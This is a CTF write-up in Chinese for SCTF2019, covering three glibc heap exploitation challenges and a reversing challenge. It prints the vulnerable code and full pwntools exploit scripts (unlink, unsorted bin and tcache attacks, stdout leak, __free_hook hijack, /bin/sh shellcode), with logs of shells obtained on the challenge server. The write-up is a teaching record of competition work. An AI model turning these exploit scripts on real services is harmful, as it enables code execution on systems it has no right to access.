SCTF2019 writeups

TOC

  1. 1. pwn: easy_heap
    1. 1.1. 安全防护
    2. 1.2. 溢出点
    3. 1.3. 分析
    4. 1.4. 思路
    5. 1.5. unlink
      1. 1.5.1. unsorted bin attached
    6. 1.6. 完整脚本
      1. 1.6.1. 运行实例
  2. 2. pwn: two_heap
    1. 2.1. 安全防护
    2. 2.2. 溢出点
    3. 2.3. 思路
      1. 2.3.1. 泄露地址
    4. 2.4. 脚本
  3. 3. pwn: one_heap
    1. 3.1. 安全防护
    2. 3.2. 溢出点
    3. 3.3. 思路
      1. 3.3.1. tcache perthread corruption
      2. 3.3.2. attack stdout leak libc base
    4. 3.4. 完整脚本
      1. 3.4.1. 运行实例:
  4. 4. RE:babyre
    1. 4.1. 三维迷宫
    2. 4.2. 字符处理
    3. 4.3. 可逆函数

题目文件:sctf2019.zip

pwn: easy_heap

靶机的glibc是2.23

安全防护

ex@Ex:~/sctf/easy_heap$ checksec easy_heap
[*] '/home/ex/sctf/easy_heap/easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

溢出点

off by one 漏洞。

unsigned __int64 __fastcall sub_E2D(__int64 a1, unsigned __int64 a2)
{
char buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
perror("Read failed!\n");
exit(-1);
}
if ( buf == 10 )
break;
*(_BYTE *)(a1 + i) = buf;
}
if ( i == a2 )
*(_BYTE *)(i + a1) = 0;
return __readfsqword(0x28u) ^ v5;
}

分析

不能泄露libc地址,需要部分覆盖。

思路

  1. unlink
  2. unsorted bin attached

index_1进行unlink,使得index_0指针可控,实现任意地址写。

image_base_addr = Alloc(0x38) - 0x202068 # index 0
log.info("image_base_addr: " + hex(image_base_addr))

Alloc(0x38) # index 1
Alloc(0xf8) # index 2
Alloc(0x18) # index 3

fake_chunk = [
0, 0x31,
image_base_addr + 0x202078 - 0x18, image_base_addr + 0x202078 - 0x10,
]

Fill(1, flat(fake_chunk).ljust(0x30, 'a') + p64(0x30))
# unlink
Delete(2)

执行后:

pwndbg> pr
0x556a88b88060: 0x0000000000000038 0x0000556a8947a010
0x556a88b88070: 0x0000000000000038 0x0000556a88b88060
0x556a88b88080: 0x0000000000000000 0x0000000000000000
0x556a88b88090: 0x0000000000000018 0x0000556a8947a190
0x556a88b880a0: 0x0000000000000000 0x0000000000000000
0x556a88b880b0: 0x0000000000000000 0x0000000000000000
0x556a88b880c0: 0x0000000000000000 0x0000000000000000
0x556a88b880d0: 0x0000000000000000 0x0000000000000000

unsorted bin attached

利用unsorted bin attachedmain_arena+88写入到index_0中,然后部分覆盖,将main_arena+88覆盖为__malloc_hook,在把mmap_addr地址写入即可。

Fill(1, p64(0x100) + '\x68')
Fill(0, p64(image_base_addr + 0x202068 - 0x10))

Alloc(0x128)

Fill(1, p64(0x100) + '\x10')
Fill(0, p64(mmap_addr))

执行后:

pwndbg> pr
0x556a88b88060: 0x0000000000000100 0x00007ffb2f78eb10
0x556a88b88070: 0x0000000000000038 0x0000556a88b88060
0x556a88b88080: 0x0000000000000128 0x0000556a8947a060
0x556a88b88090: 0x0000000000000018 0x0000556a8947a190
0x556a88b880a0: 0x0000000000000000 0x0000000000000000
0x556a88b880b0: 0x0000000000000000 0x0000000000000000
0x556a88b880c0: 0x0000000000000000 0x0000000000000000
0x556a88b880d0: 0x0000000000000000 0x0000000000000000
pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7ffb2f78eb10 <__malloc_hook>

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './easy_heap'
# sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
sh = process(execve_file)
# sh = remote('132.232.100.67', 10004)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $ptr=(void **)$rebase(0x202060)
define pr
x/16gx $ptr
end
'''

f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Alloc(size):
sh.sendlineafter('>> ', '1')
sh.sendlineafter('Size: ', str(size))
sh.recvuntil('Pointer Address ')
return int(sh.recvline(), 16)

def Delete(index):
sh.sendlineafter('>> ', '2')
sh.sendlineafter('Index: ', str(index))

def Fill(index, content):
sh.sendlineafter('>> ', '3')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Content: ', content)

sh.recvuntil('Mmap: ')
mmap_addr = int(sh.recvline(), 16)
log.info("mmap_addr: " + hex(mmap_addr))

image_base_addr = Alloc(0x38) - 0x202068 # index 0
log.info("image_base_addr: " + hex(image_base_addr))

Alloc(0x38) # index 1
Alloc(0xf8) # index 2
Alloc(0x18) # index 3

fake_chunk = [
0, 0x31,
image_base_addr + 0x202078 - 0x18, image_base_addr + 0x202078 - 0x10,
]

Fill(1, flat(fake_chunk).ljust(0x30, 'a') + p64(0x30))
# unlink
Delete(2)

Fill(1, p64(0x100) + '\x68')
Fill(0, p64(image_base_addr + 0x202068 - 0x10))

Alloc(0x128)

Fill(1, p64(0x100) + '\x10')
Fill(0, p64(mmap_addr))


Fill(1, p64(0x100) + p64(mmap_addr))

shellcode = asm('''
mov rax, 0x0068732f6e69622f
push rax

mov rdi, rsp
xor rsi, rsi
mul rsi
mov al, 59
syscall

xor rdi, rdi
mov al, 60
syscall
''')

Fill(0, shellcode)

sh.sendlineafter('>> ', '1')
sh.sendlineafter('Size: ', str(8))

sh.interactive()

运行实例

ex@Ex:~/sctf/easy_heap$ python exp.py 
[+] Opening connection to 132.232.100.67 on port 10004: Done
[*] '/home/ex/sctf/easy_heap/easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/sctf/easy_heap/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
list index out of range
[*] mmap_addr: 0x48111c1000
[*] image_base_addr: 0x557efd70d000
[*] Switching to interactive mode
$ ls
bin
dev
easy_heap
flag
lib
lib32
lib64
$ cat flag
sctf{4110c_D3l37_Fi11_r3pe7}
$

pwn: two_heap

靶机的glibc是2.26

安全防护

ex@Ex:~/sctf/two_heap$ checksec two_heap
[*] '/home/ex/sctf/two_heap/two_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

溢出点

main中有明显的格式化字符串漏洞:

read_n(&v4, 11);
__printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);

delete函数中存在double free

void delete()
{
__int64 index; // rax
unsigned __int64 v1; // [rsp+8h] [rbp-10h]

v1 = __readfsqword(0x28u);
puts("Input the index:");
index = (signed int)get_int();
if ( (unsigned __int64)(signed int)index > 7 )
exit(0);
if ( __readfsqword(0x28u) == v1 )
free((&off_4020)[2 * index + 1]);
}

思路

  1. 泄露地址
  2. double free

泄露地址

利用格式化字符串漏洞泄露libc基地址,由于使用的是__printf_chk函数,所以我们利用printf的浮点特性来泄露rsp + 0x50之后的值。

pwndbg> stack
...
0a:0050│ 0x7ffd07de3120 ◂— 0x0
0b:0058│ 0x7ffd07de3128 —▸ 0x7f4261be76f0 —▸ 0x7ffd07df7000 ◂— jg 0x7ffd07df7047
0c:0060│ 0x7ffd07de3130 ◂— 0x0
0d:0068│ 0x7ffd07de3138 —▸ 0x7f4261aa96fd ◂— test rax, rax
0e:0070│ 0x7ffd07de3140 —▸ 0x7f4261bdd720 ◂— 0xfbad2887
0f:0078│ 0x7ffd07de3148 —▸ 0x7f4261aa96fd ◂— test rax, rax

通过上面的调试发现,0x70也就是第三个浮点参数那里可以泄露地址。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './two_heap'
sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so:./libc-2.26.so"})
# sh = process(execve_file)
# sh = remote('47.104.89.129',10002)
elf = ELF(execve_file)
libc = ELF('./libc-2.26.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $im=$rebase(0)
def of
p/x $arg0-$im
end

b *$rebase(0x1174)
'''

f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)


def New(size, content):
sh.sendlineafter('Your choice:', '1')
sh.sendlineafter('Input the size:\n', str(size))
sh.sendafter('Input the note:', content)

def delete(index):
sh.sendlineafter('Your choice:', '2')
sh.sendlineafter('Input the index:\n', str(index))

# pause()
sh.sendafter('Welcome to SCTF:\n', '%f%f#%a\n')
sh.recvuntil('#')
result = sh.recvline()


data = int(result[5:-7], 16) * 0x10
libc_addr = data - libc.symbols['_IO_2_1_stdout_']
log.success("libc addr: " + hex(libc_addr))

New(0, '')
delete(0)
delete(0)
New(8, p64(libc_addr + libc.symbols['__free_hook']))
New(0x10, '/bin/sh\0\n')
New(0x18, p64(libc_addr + libc.symbols['system']) + '\n')

delete(2)

sh.interactive()

pwn: one_heap

靶机环境是glibc-2.27。

安全防护

ex@Ex:~/sctf/one_heap$ checksec one_heap
[*] '/home/ex/sctf/one_heap/one_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

溢出点

delete函数中存在double free漏洞。

void __cdecl delete()
{
if ( !free_times )
exit(0);
free(ptr);
puts("Done!");
--free_times;
}

程序的难点在于可以free的次数只有4次,而且没有明显的泄露点。

思路

  1. tcache perthread corruption
  2. attack stdout leak libc base
  3. hijack hook

tcache perthread corruption

每个线程通过一个tcache_perthread_struct线程本地变量保存tcache bin以及相关的chunk计数。如果我们能够修改tcache_perthread_struct这个结构体的内容,就可以完全控制malloc的内存分配。

tcache_perthread_struct保存在heap的头部,所以可以直接double free后进行部分覆盖从而控制tcache_perthread_struct

New(0x68, '\n')
delete()
delete()

if(len(sys.argv) > 1):
value = hook1 + 0x10
New(0x68, p64(value)[:2] + '\n')
else:
New(0x68, '\x10\x10' + '\n')

New(0x68, '\n')

调试结果如下:

pwndbg> tcachebins 
tcachebins
0x70 [ 0]: 0x557c58293010 ◂— 0x0
pwndbg> heap
0x557c58293000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

之后 freetcache_perthread_struct,使其放入usorted bin,然后tcache上就会因为usorted bin的 分配而被写上main_arena的地址,在对main_arena的地址进行部分覆盖,实现控制_IO_2_1_stdout_

New(0x68, '\xFF' * 0x40 + '\n')
delete()

# pause()
New(0x48, '\xFF' * 0x40 + '\n')

if(len(sys.argv) > 1):
value = hook2 + libc.symbols['_IO_2_1_stdout_']
print(hex(value))

New(0x18, p64(value)[:2] + '\n')
else:
New(0x18, '\x60\x67' + '\n')

调试结果:

pwndbg> tcachebins 
tcachebins
0x20 [ -1]: 0x0
0x30 [ -1]: 0x21
0x40 [ -1]: 0x7f25f054b760 (_IO_2_1_stdout_) ◂— 0xfbad2887
0x50 [ -1]: 0x7f25f054aca0 (main_arena+96) —▸ 0x55cd61dcf2f0 ◂— 0x0
0x60 [ -1]: 0x0
0x70 [ -1]: 0x1e1
0x80 [ -1]: 0x7f25f054aca0 (main_arena+96) —▸ 0x55cd61dcf2f0 ◂— 0x0
0x90 [ -1]: 0x7f25f054aca0 (main_arena+96) —▸ 0x55cd61dcf2f0 ◂— 0x0
0xa0 [ -1]: 0x0
0xb0 [ -1]: 0x0
...

attack stdout leak libc base

修改stdout_IO_write_base来实现地址泄露,通过调试发现可以泄露出_IO_2_1_stdin_的地址。从而计算出libc地址。

pwndbg> p stdout->_IO_write_base 
$1 = 0x7f25f054b7e3 <_IO_2_1_stdout_+131> "\n"
pwndbg> x/4gx 0x7f25f054b7e0-0x20
0x7f25f054b7c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f25f054aa00
0x7f25f054b7d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
pwndbg> x/gx 0x00007f25f054aa00
0x7f25f054aa00 <_IO_2_1_stdin_>: 0x00000000fbad208b

对应的脚本:

layout = [
0xfbad3c80, #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
0, # _IO_read_ptr
0, # _IO_read_end
0, # _IO_read_base
]

# overwrite last byte of _IO_write_base to point to libc address
payload = flat(layout) + '\xc8'
New(0x38, payload + '\n')

_IO_2_1_stdin__addr = u64(sh.recvn(8))
log.success("_IO_2_1_stdin__addr: " + hex(_IO_2_1_stdin__addr))

libc_addr = _IO_2_1_stdin__addr - libc.symbols['_IO_2_1_stdin_']
log.success("libc_addr: " + hex(libc_addr))

完整脚本

总共需要两次部分覆盖,所以概率是1/256

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void _init()
{
char *heap_addr = sbrk(0), *libc_addr = *(char **)dlopen("libc.so.6", RTLD_LAZY);;
write(1, &heap_addr, 8);
write(1, &libc_addr, 8);
}
'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -fPIC -shared -g /tmp/gdb_symbols{}.c -c -o /tmp/gdb_symbols{}.o && ld -shared -ldl /tmp/gdb_symbols{}.o -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './one_heap'
sh = 0
if(len(sys.argv) > 1):
sh = process(execve_file, env={"LD_PRELOAD": '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
else:
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $ptr=(void **)$rebase(0x202050)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def New(size, content):
sh.sendlineafter('Your choice:', '1')
sh.sendlineafter('Input the size:', str(size))
sh.sendafter('Input the content:', content)

def delete():
sh.sendlineafter('Your choice:', '2')


hook1 = 0
hook2 = 0
if(len(sys.argv) > 1):
hook1 = u64(sh.recvn(8))
log.info("hook1: " + hex(hook1))
hook2 = u64(sh.recvn(8))
log.info("hook2: " + hex(hook2))

New(0x68, '\n')
delete()
delete()

if(len(sys.argv) > 1):
value = hook1 + 0x10
New(0x68, p64(value)[:2] + '\n')
else:
New(0x68, '\x10\x10' + '\n')

New(0x68, '\n')
New(0x68, '\xFF' * 0x40 + '\n')
delete()

# pause()
New(0x48, '\xFF' * 0x40 + '\n')

if(len(sys.argv) > 1):
value = hook2 + libc.symbols['_IO_2_1_stdout_']
New(0x18, p64(value)[:2] + '\n')
else:
New(0x18, '\x60\x67' + '\n')


layout = [
0xfbad3c80, #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
0, # _IO_read_ptr
0, # _IO_read_end
0, # _IO_read_base
]

# overwrite last byte of _IO_write_base to point to libc address
payload = flat(layout) + '\xc8'
New(0x38, payload + '\n')

_IO_2_1_stdin__addr = u64(sh.recvn(8))
log.success("_IO_2_1_stdin__addr: " + hex(_IO_2_1_stdin__addr))

libc_addr = _IO_2_1_stdin__addr - libc.symbols['_IO_2_1_stdin_']
log.success("libc_addr: " + hex(libc_addr))


New(0x18, p64(libc_addr + libc.symbols['__free_hook'] - 0x10) + '\n' )
New(0x78, '/bin/sh\0'.ljust(0x10, '\0') + p64(libc_addr + libc.symbols['system']) + '\n')

delete()

sh.interactive()
clear()

运行实例:

ex@Ubuntu:~/test$ ./exp.sh ./exp.py
...
times 111

[+] Starting local process './one_heap': pid 28693
[*] '/home/ex/test/one_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] _IO_2_1_stdin__addr: 0x7febf2fb5a00
[+] libc_addr: 0x7febf2bca000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex)
Strip all debugging information
$

RE:babyre

就是三个挑战

三维迷宫

反汇编可得迷宫:

*****
*****
****.
****.
**s..

*..**
****.
****.
*****
*****

*..**
*..**
..#*.
.***.
.***.

*****
*****
*****
*****
.**..

*****
**..*
*...*
..*.*
.**.*

方法:

w -5
s +5
d +1
a -1
x +25
y -25

所以路径是ddwwxxssxaxwaasayywwdd

字符处理

我们输入的字符将在loc_C22函数进行处理,然后和sctf_9012进行匹配。

.text:0000000000000ADE                 lea     edi, aPlzTellMeThePa ; "plz tell me the password2:"
.text:0000000000000AE4 call _puts
.text:0000000000000AE9 lea rax, [rbp-110h]
.text:0000000000000AF0 mov rsi, rax
.text:0000000000000AF3 lea rdi, aS ; "%s"
.text:0000000000000AFA mov eax, 0
.text:0000000000000AFF call _scanf
.text:0000000000000B04 lea rdx, [rbp-0F0h]
.text:0000000000000B0B lea rax, [rbp-110h]
.text:0000000000000B12 mov rsi, rdx
.text:0000000000000B15 mov rdi, rax
.text:0000000000000B18 call loc_C22
.text:0000000000000B1D lea rdx, [rbp-13Ah]
.text:0000000000000B24
.text:0000000000000B24 loc_B24: ; CODE XREF: .text:loc_ADC↑j
.text:0000000000000B24 lea rax, [rbp-0F0h]
.text:0000000000000B2B mov rsi, rdx
.text:0000000000000B2E mov rdi, rax
.text:0000000000000B31 call strcmp
.text:0000000000000B36 cmp eax, 1
.text:0000000000000B39 setz al
.text:0000000000000B3C test al, al
.text:0000000000000B3E jz short loc_BA7
.text:0000000000000B40 lea rdi, aCongratulation ; "Congratulation!"
.text:0000000000000B47 call _puts

调试发现loc_C22是一个4字节向三字节映射的关系,进行爆破。

// gcc -fPIC -O3 -shared hook.c -c -o hook.o
// ld -shared -ldl hook.o -o hook.so
#include <stdio.h>
#include <dlfcn.h>

typedef void (*FUNC)(char *, char *);

void _init()
{
FUNC func;
char *printable = "_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
#define LENGTH 63
char in[8], out[8];
char *image_base = *(void **)dlopen(NULL, 1);
printf("Image base: %p\n", image_base);
func = image_base + 0xC22;
*(size_t *)in = 0;
for (int i = 0; i < LENGTH; i++)
{
in[0] = printable[i];
for (int ii = 0; ii < LENGTH; ii++)
{
in[1] = printable[ii];
for (int iii = 0; iii < LENGTH; iii++)
{
in[2] = printable[iii];
for (int iiii = 0; iiii < LENGTH; iiii++)
{
in[3] = printable[iiii];
*(size_t *)out = 0;
func(in, out);
switch(*(size_t *)out)
{
case 0x746373:
fprintf(stderr, "%s -> %s\n",in, out);
break;
case 0x395F66:
fprintf(stderr, "%s -> %s\n",in, out);
break;
case 0x323031:
fprintf(stderr, "%s -> %s\n",in, out);
break;
}
}
}
}
}
printf("over\n");
exit(0);
}

运行实例:

ex@Ex:~/sctf/babyre$ LD_PRELOAD=./hook.so ./babygame
Image base: 0x559ccb697000
c2N0 -> sct
MTAy -> 102
Zl85 -> f_9
over

所以第二问是c2N0Zl85MTAy

可逆函数

分析发现第三问是一个可逆函数。

array[30]

array[x+4] = array[x+0] ^ f(array[x+1] ^ array[x+2] ^ array[x+3])

f(x)函数依赖于x。所以直接将公式倒置即可。

// gcc -fPIC -O3 -shared hook2.c -c -o hook2.o
// ld -shared -ldl hook2.o -o hook2.so
#include <stdio.h>
#include <dlfcn.h>

typedef int (*FUNC)(int);

void _init()
{
FUNC func;
int array[0x100] = {0};
array[0] = 0xD8BF92EF;
array[1] = 0x9FCC401F;
array[2] = 0xC5AF7647;
array[3] = 0xBE040680;

char *image_base = *(void **)dlopen(NULL, 1);
printf("Image base: %p\n", image_base);
func = image_base + 0x1464;
for (int i = 0; i < 26; i++)
{
array[i + 4] = array[i] ^ func(array[i+1] ^ array[i+2] ^ array[i+3]);
}

for(int i=3;i>=0;i--)
{
printf("%08X\n", array[26 + i]);
printf("%c%c%c%c\n", ((char *)&array[26 + i])[0], ((char *)&array[26 + i])[1], ((char *)&array[26 + i])[2], ((char *)&array[26 + i])[3]);
}
printf("over\n");
exit(0);
}

运行实例:

ex@Ex:~/sctf/babyre$ LD_PRELOAD=./hook2.so ./babygame
Image base: 0x562b0a9e9000
67346C66
fl4g
5F73695F
_is_
755F3073
s0_u
21793167
g1y!
over

所以第三问答案就是fl4g_is_s0_ug1y!

结果:

ex@Ex:~/sctf/babyre$ cat answer | ./babygame 
plz tell me the shortest password1:
good!you find the right way!
But there is another challenge!
plz tell me the password2:
Congratulation!
Now,this is the last!
plz tell me the password3:
Congratulation!Here is your flag!:
sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}